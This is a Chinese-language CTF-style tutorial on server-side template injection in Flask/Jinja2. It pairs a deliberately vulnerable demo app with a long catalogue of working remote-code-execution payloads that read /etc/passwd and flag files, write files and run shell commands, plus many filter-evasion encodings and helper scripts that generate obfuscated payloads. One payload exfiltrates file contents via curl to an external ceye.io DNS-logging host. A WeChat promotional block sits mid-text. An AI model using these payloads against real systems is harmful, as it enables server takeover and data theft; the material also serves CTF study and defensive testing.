現在關于ssti注入的文章數不勝數,但大多數是關于各種命令陳述句的構造陳述句,且沒有根據版本、過濾等具體細分,導致讀者可能有一種千篇一律的感覺,所以最近詳細整理了一些SSTI常用的payload、利用思路以及題目,謹以結合題目分析以及自己的理解給uu們提供一些參考,如有寫錯的地方,還望大佬們輕噴,
在介紹下ssti(服務端模板注入)的具體成因及案例之前,有必要先引入模板引擎的概念,
模板引擎介紹
模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務資料(內容)分離而產生的,它可以生成特定格式的檔案,用于網站的模板引擎就會生成一個標準的HTML檔案, 其不屬于特定技術領域,它是跨領域跨平臺的概念,在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm開發都會用到模板引擎技術,模板引擎也會提供沙箱機制來進行漏洞防范,但是可以用沙箱逃逸技術來進行繞過,
SSTI(服務端模板注入)攻擊
SSTI(server-side template injection)為服務端模板注入攻擊,它主要是由于框架的不規范使用而導致的,主要為python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函式時,由于代碼不規范或信任了用戶輸入而導致了服務端模板注入,模板渲染其實并沒有漏洞,主要是程式員對代碼不規范不嚴謹造成了模板注入漏洞,造成模板可控,注入的原理可以這樣描述:當用戶的輸入資料沒有被合理的處理控制時,就有可能資料插入了程式段中變成了程式的一部分,從而改變了程式的執行邏輯,
各框架模板結構如下圖所示:

實體
這里使用python的flask框架測驗ssti注入攻擊的程序,
from flask import Flask, render_template, request, render_template_string
?
app = Flask(__name__)
?
?
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div >
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]
?
return render_template_string(template)
?
?
if __name__ == '__main__':
app.debug = True
app.run()
本地測驗如下:

發現存在模板注入
獲得字串的type實體
?name={{"".__class__}}

這里使用的置換型模板,將字串進行簡單替換,其中引數x的值完全可控,發現模板引擎成功決議,說明模板引擎并不是將我們輸入的值當作字串,而是當作代碼執行了,
{{}}在Jinja2中作為變數包裹識別符號,Jinja2在渲染的時候會把{{}}包裹的內容當做變數決議替換,比如{{1+1}}會被決議成2,如此一來就可以實作如同sql注入一樣的注入漏洞,
以flask的jinja2引擎為例,官方的模板語法如下:
{% ... %} 用于宣告,比如在使用for控制陳述句或者if陳述句時
{{......}} 用于列印到模板輸出的運算式,比如之前傳到到的變數(更準確的叫模板背景關系),例如上文 '1+1' 這個運算式
{# ... #}用于模板注釋
# ... ##用于行陳述句,就是對語法的簡化#...#可以有和{%%}相同的效果
由于引數完全可控,則攻擊者就可以通過精心構造惡意的 Payload 來讓服務器執行任意代碼,造成嚴重危害,下圖通過 SSTI 命令執行成功執行 whoami 命令:
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

可以看到命令被成功執行了,下面講下構造的思路:
一開始是通過class通過 base 拿到object基類,接著利用 subclasses() 獲取對應子類,在全部子類中找到被多載的類即為可用的類,然后通過init去獲取globals全域變數,接著通過builtins獲取eval函式,最后利用popen命令執行、read()讀取即可,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
上述構造及實體沒有涉及到過濾,不需要考慮繞過,所以只是ssti注入中較簡單的一種,但是當某些字符或者關鍵字被過濾時,情況較為復雜,實際上不管對于哪種構造來說,都離不開最基本也是最常用的方法,下面是總結的一些常用到的利用方法和過濾器,
常用的方法
__class__ 類的一個內置屬性,表示實體物件的類,
__base__ 型別物件的直接基類
__bases__ 型別物件的全部基類,以元組形式,型別的實體通常沒有屬性 __bases__
__mro__ 查看繼承關系和呼叫順序,回傳元組,此屬性是由類組成的元組,在方法決議期間會基于它來查找基類,
__subclasses__() 回傳這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化類,回傳的型別是function
__globals__ 使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數,
__dic__ 類的靜態函式、類函式、普通函式、全域變數以及一些內置的屬性都是放在類的__dict__里
__getattribute__() 實體、類、函式都具有的__getattribute__魔術方法,事實上,在實體化的物件進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去呼叫__getattribute__方法,因此我們同樣可以直接通過這個方法來獲取到實體、類、函式的屬性,
__getitem__() 呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 內建名稱空間,內建名稱空間有許多名字到物件之間映射,而這些名字其實就是內建函式的名稱,物件就是這些內建函式本身.
__import__ 動態加載類和函式,也就是匯入模塊,經常用于匯入os模塊,__import__('os').popen('ls').read()]
__str__() 回傳描寫這個物件的字串,可以理解成就是列印出來,
url_for flask的一個方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app,
get_flashed_messages flask的一個方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app,
lipsum flask的一個方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模塊:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 應用背景關系,一個全域變數,
config 當前application的所有配置,此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 回傳指定鍵的值,如果值不在字典中回傳default值
dict.setdefault(key, default=None) 和get()類似, 但如果鍵不存在于字典中,將會添加鍵并將值設為default
request 可以用于獲取字串來繞過,包括下面這些,參考一下羽師傅的,
此外,同樣可以獲取open函式:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get傳參
request.values.x1 所有引數
request.cookies cookies引數
request.headers 請求頭引數
request.form.x1 post傳參 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post傳參 (Content-Type:a/b)
request.json post傳json (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //針對jinjia2/flask為[9]適用
或者
[].__class__.__bases__[0] //其他的類似
__new__功能:用所給類創建一個物件,并且回傳這個物件,
?
常用的過濾器
詳細說明可以參考官方檔案:https://jinja.palletsprojects.com/en/latest/templates/,這里列出一些常用的,有待補充,
?
issubclass(A,B): 判斷A類是否是B類的子類
int():將值轉換為int型別;
?
float():將值轉換為float型別;
?
lower():將字串轉換為小寫;
?
upper():將字串轉換為大寫;
?
title():把值中的每個單詞的首字母都轉成大寫;
?
capitalize():把變數值的首字母轉成大寫,其余字母轉小寫;
?
trim():截取字串前面和后面的空白字符;
?
wordcount():計算一個長字串中單詞的個數;
?
reverse():字串反轉;
?
replace(value,old,new): 替換將old替換為new的字串;
?
truncate(value,length=255,killwords=False):截取length長度的字串;
?
striptags():洗掉字串中所有的HTML標簽,如果出現多個空格,將替換成一個空格;
?
escape()或e:轉義字符,會將<、>等符號轉義成HTML中的符號,顯例:content|escape或content|e,
?
safe(): 禁用HTML轉義,如果開啟了全域轉義,那么safe過濾器會將變數關掉轉義,示例: {{'<em>hello</em>'|safe}};
?
list():將變數列成串列;
?
string():將變數轉換成字串;
?
join():將一個序列中的引數值拼接成字串,示例看上面payload;
?
abs():回傳一個數值的絕對值;
?
first():回傳一個序列的第一個元素;
?
last():回傳一個序列的最后一個元素;
?
format(value,arags,*kwargs):格式化字串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!
?
length():回傳一個序列或者字典的長度;
?
sum():回傳串列內數值的和;
?
sort():回傳排序后的串列;
?
default(value,default_value,boolean=false):如果當前變數沒有值,則會使用引數中的值來代替,示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代,boolean=False默認是在只有這個變數為undefined的時候才會使用default中的值,如果想使用python的形式判斷是否為false,則可以傳遞boolean=true,也可以使用or來替換,
?
length()回傳字串的長度,別名是count
?
select() 通過對每個物件應用測驗并僅選擇測驗成功的物件來篩選物件序列,如果沒有指定測驗,則每個物件都將被計算為布林值
可以用來獲取字串
實際使用為
()|select|string
結果如下
<generator object select_or_reject at 0x0000022717FF33C0>
常用的構造陳述句
接著是總結的一些常用的命令執行陳述句,
無過濾
# 讀檔案
#讀取檔案類,<type ‘file’> file位置一般為40,直接呼叫
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
?
?
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 類里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
?
?
#呼叫os的popen執行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3專屬
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
?
?
#呼叫eval函式讀取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
?
?
#呼叫 importlib類
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
?
?
#呼叫linecache函式
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
?
?
#呼叫communicate()函式
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
?
?
#寫檔案
寫檔案的話就直接把上面的構造里的read()換成write()即可,下面舉例利用file類將資料寫入檔案,
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str型別不直接從屬于屬于基類,所以要兩次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
?
?
#通用 getshell
原理就是找到含有 __builtins__ 的類,然后利用,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
?
?
上面這些陳述句也不是說一成不變的隨意套題目,還需要根據是否有過濾、框架是否有該可利用類、python版本高低等進行構造利用鏈,等下面說到利用思路時再結合例題分析,接著總結有過濾的情況,
有過濾
繞過 .
中括號[]繞過
可以利用 [ ]代替 . 的作用,
{{().__class__}} 可以替換為:
{{()["__class__"]}}
舉例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
attr()繞過
使用原生 JinJa2 的 attr() 函式,

{{().__class__}} 可以替換為:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
舉例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
繞過單雙引號
request繞過
flask中存在著request內置物件可以得到請求的資訊,request可以用5種不同的方式來請求資訊,我們可以利用他來傳遞引數繞過,
request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一個屬性,為回傳請求的引數,這里把path當作變數名,將后面的路徑傳值進來,進而繞過了引號的過濾,
若args被過濾了,還可以使用values來接受GET或者POST引數,
?
其他方法的例子,可根據題目過濾的東西動態調整方法來進行繞過
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
chr繞過
如果使用GET請求時,+號記得url編碼,要不會被當作空格處理,
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
繞過關鍵字
反轉或+號
使用切片將逆置的關鍵字順序輸出,進而達到繞過,
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反轉
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
利用"+"進行字串拼接,繞過關鍵字過濾,
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
join拼接
利用join()函式來繞過關鍵字過濾,和使用+號連接大差不差,
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
利用引號繞過
以用 或 的形式來繞過:fl""ag``fl''ag,
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
使用str原生函式replace替換
將額外的字符拼接進原本的關鍵字里面,然后利用replace函式將其替換為空,
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii轉換
將每一個字符都轉換為ascii值后再拼接在一起,
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16進制編碼繞過
我們可以利用對關鍵字編碼的方法,繞過關鍵字過濾,例如用16進制編碼繞過:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
?
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
base64編碼
對于python2的話,還可以利用base64進行繞過,對于python3沒有decode方法,所以不能使用該方法進行繞過,
"__class__"==("X19jbGFzc19f").decode("base64")
?
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等價于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
unicode編碼
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
Hex編碼
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等價于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
8進制編碼
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
可見,對于這些編碼進行繞過,就是將是字串的關鍵字進行編碼,然后進行對應解碼即可,rot13等其他編碼也是同理,
利用chr函式
因為我們沒法直接使用chr函式,所以需要通過__builtins__找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~進行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
繞過init
可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
繞過config
過濾了config,直接用self.dict就能找到里面的config
{{self}} ? <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
繞過中括號[ ]
利用 getitem繞過
先用串列演示說明getitem()函式的作用是輸出序列屬性中的某個索引處的元素,
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{"".__class__.__mro__[2]} 可以替換為:
{{"".__class__.__mro__.__getitem__(2)
?
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等價于
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔術方法中的[]
呼叫魔術方法本來是不用中括號的,但是如果過濾了關鍵字,要進行拼接的話就不可避免要用到中括號,像這里如果同時過濾了class和中括號,可以使用getattribute進行繞過,
object.__getattribute__(self, name)是一個物件方法,當訪問某個物件的屬性時,會無條件的呼叫這個方法,
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
pop()繞過
{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}} // 指定序列屬性
?
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典屬性
但是應慎用pop()方法,因為在python中pop()會洗掉相應位置的值,在串列里就是默認輸出最后一個元素并將其洗掉,
繞過大括號{{}}
①使用{%%} 裝載一個回圈控制陳述句來繞過:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
②用print進行標記,得到回顯
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 將執行結果外帶出來,不外帶的話執行結果無回顯,
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}
繞過下劃線__
利用request物件繞過
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
?
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
?
等價于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
?
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
繞過" ' []
對于多個過濾的話,就在無過濾的基礎上,將過濾的字符用上面各自對應的方法進行逐一替換后在拼接即可,
像這里的過濾了單雙引號及中括號,那就用request方法代替''、',用pop方法替換中括號
payload
{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
繞過 " ' [] _
利用request.cookies.name,接著使用flask自帶的attr
`' '|attr('__class__')`等價于`' '.__class__`
這是一個 過濾器,它只查找屬性,獲取并回傳物件的屬性的值,過濾器與變數用管道符號( )分割,如:attr()``attr()``|
foo|attr("bar") 等同于 foo["bar"]
對于多種符號同時過濾,考慮用|attr( )結合其他方法進行繞過有強大的功能,
lipsum是一個方法,其呼叫__globals__可以直接使用os執行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
繞過 " ' [] _ os
多過濾了os關鍵字,可以使用request.cookies.a繞過即可,在剛剛繞過 " ' [] _的基礎上在最后的傳引數將os傳入即可達到繞過,payload
{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
繞過 " ' [] _ os {{ }}
在剛剛的基礎上再多過濾大括號,使用print來標記使其有回顯,payload
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
繞過 " ' arg [] _ os {{ }} request
使用~拼接pop組合出的各個字符,最后在拼接在一起達到繞過,payload
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
?
等價于:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}
或者使用chr:
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~chr(95)~chr(95)~chr(40)~chr(41)~chr(91)~chr(55)~chr(55)~chr(93)~chr(46)~chr(95)~chr(95)~chr(105)~chr(110)~chr(105)~chr(116)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(103)~chr(108)~chr(111)~chr(98)~chr(97)~chr(108)~chr(115)~chr(95)~chr(95)~chr(91)~chr(39)~chr(111)~chr(115)~chr(39)~chr(93)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)~chr(46)~chr(114)~chr(101)~chr(97)~chr(100)~chr(40)~chr(41))%}
?
等價于:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
使用下面的腳本來獲得ascii碼
<?php
?
//使用chr繞過ssti過濾引號
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
繞過 " ' [] _ os {{ }} 數字
數字可以使用全角數字替代,payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
將半角數字轉換為全角的腳本如下:
# 繞過ban數字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
?
while 1:
s = input("輸入想要的數字")
for i in s:
t+=half2full(i)
print(t)
繞過 " ' arg [] _ os {{ }} 數字 print
使用全角數字和chr進行命令執行,但是結果要使用在線dns外帶,
<?php
?
//使用chr繞過ssti過濾引號
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
將普通數字變成全角的腳本如下:
#正則匹配出字串中的數字,然后回傳全角數字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
for i in re.findall('\d{2,3}',str):
result+="chr("+half2full(i)+")~"
print(i)
print(result[:-1])
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
